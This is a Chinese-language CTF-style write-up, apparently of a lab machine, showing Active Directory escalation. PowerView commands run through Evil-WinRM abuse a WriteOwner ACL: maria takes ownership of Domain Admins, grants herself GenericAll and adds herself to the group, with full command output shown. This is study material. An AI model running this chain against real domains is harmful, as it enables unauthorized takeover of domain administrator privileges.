1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 *Evil-WinRM * PS C:\test> Get-DomainObjectAcl -Identity "domain admins" |? {$_ .SecurityIdentifier -eq "S-1-5-21-4088429403-1159899800-2753317549-1106" } ObjectDN : CN=Domain Admins,CN=Users,DC=object,DC=local ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-512 ActiveDirectoryRights : WriteOwner BinaryLength : 36 AceQualifier : AccessAllowed IsCallback : False OpaqueLength : 0 AccessMask : 524288 SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1106 AceType : AccessAllowed AceFlags : None IsInherited : False InheritanceFlags : None PropagationFlags : None AuditFlags : None
https://www.hackingarticles.in/abusing-ad-dacl-writeowner/
摘自上文
1 2 3 4 5 6 7 8 9 10 11 WriteOwner权限允许用户将对象的所有权更改为其他用户或主体,包括由攻击者控制的用户或主体。通过利用此权限,攻击者可以取得目标对象的所有权。 一旦攻击者成功将对象的所有权更改为其控制下的主体,他们就能够完全操纵该对象。这包括修改权限以授予自己或他人对该对象的完全控制权。例如,攻击者可以授予“完全控制”权限,允许不受限制地读取、写入或删除该对象。 组的 WriteOwner 权限允许授予向该组添加成员的权利。 用户的 WriteOwner 权限允许授予对用户对象的完全控制权。 计算机对象上的 WriteOwner 权限允许授予对计算机对象的完全控制权。 域对象上的 WriteOwner 权限允许授予执行 DCSync 操作的能力。
简而言之一个对象有一个目标对象的writeOwner
权限,就被允许了修改目标对象的所持有者,这个权限在域里对应的设置名称是Modify owner
。
那maria
自然就可以修改domain admins
的所有者为任意对象了。
修改组持有人为maria
1 *Evil-WinRM * PS C:\test> Set-DomainObjectOwner -Identity 'domain admins' -OwnerIdentity 'maria'
此时查看组信息需要带上SecurityMasks
指定Owner
可以看到onwer信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 *Evil-WinRM * PS C:\test> Get-DomainObject -Identity "domain admins" -SecurityMasks Owner Owner : S-1-5-21-4088429403-1159899800-2753317549-1106 grouptype : GLOBAL_SCOPE, SECURITY admincount : 1 iscriticalsystemobject : True samaccounttype : GROUP_OBJECT samaccountname : Domain Admins whenchanged : 1 /15 /2025 10 :24 :46 AM objectsid : S-1-5-21-4088429403-1159899800-2753317549-512 objectclass : {top, group } cn : Domain Admins usnchanged : 159993 dscorepropagationdata : {1 /15 /2025 10 :24 :46 AM, 1 /15 /2025 10 :23 :46 AM, 1 /15 /2025 10 :18 :42 AM, 1 /15 /2025 10 :13 :38 AM...} memberof : {CN=Denied RODC Password Replication Group ,CN=Users,DC=object,DC=local, CN=Administrators,CN=Builtin,DC=object,DC=local} description : Designated administrators of the domain distinguishedname : CN=Domain Admins,CN=Users,DC=object,DC=local name : Domain Admins member : CN=Administrator,CN=Users,DC=object,DC=local usncreated : 12345 whencreated : 10 /21 /2021 4 :25 :27 AM instancetype : 4 objectguid : 1 d7ece39-bdfb-4014-a50d-5b9d5e536324 objectcategory : CN=Group ,CN=Schema,CN=Configuration,DC=object,DC=local
转sid看更直观一些
1 2 *Evil-WinRM * PS C:\test> (Get-DomainObject -Identity "domain admins" -SecurityMasks Owner).Owner|ConvertFrom-SID OBJECT\maria
既然组所有人是maria
首先需要给自己先加一个ALL
权限,那之后自然就可以为所欲为了。
1 *Evil-WinRM * PS C:\test> Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "maria"
此时查看多了一个GenericAll
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 *Evil-WinRM * PS C:\test> Get-DomainObjectAcl -Identity "domain admins" |? {$_ .SecurityIdentifier -eq "S-1-5-21-4088429403-1159899800-2753317549-1106" } ObjectDN : CN=Domain Admins,CN=Users,DC=object,DC=local ObjectSID : S-1-5-21-4088429403-1159899800-2753317549-512 ActiveDirectoryRights : GenericAll BinaryLength : 36 AceQualifier : AccessAllowed IsCallback : False OpaqueLength : 0 AccessMask : 983551 SecurityIdentifier : S-1-5-21-4088429403-1159899800-2753317549-1106 AceType : AccessAllowed AceFlags : None IsInherited : False InheritanceFlags : None PropagationFlags : None AuditFlags : None
可以将当前maria
用户添加到域管组中
1 2 *Evil-WinRM* PS C:\test> net group "domain admins" maria /add The command completed successfully.
get root
复习了powerview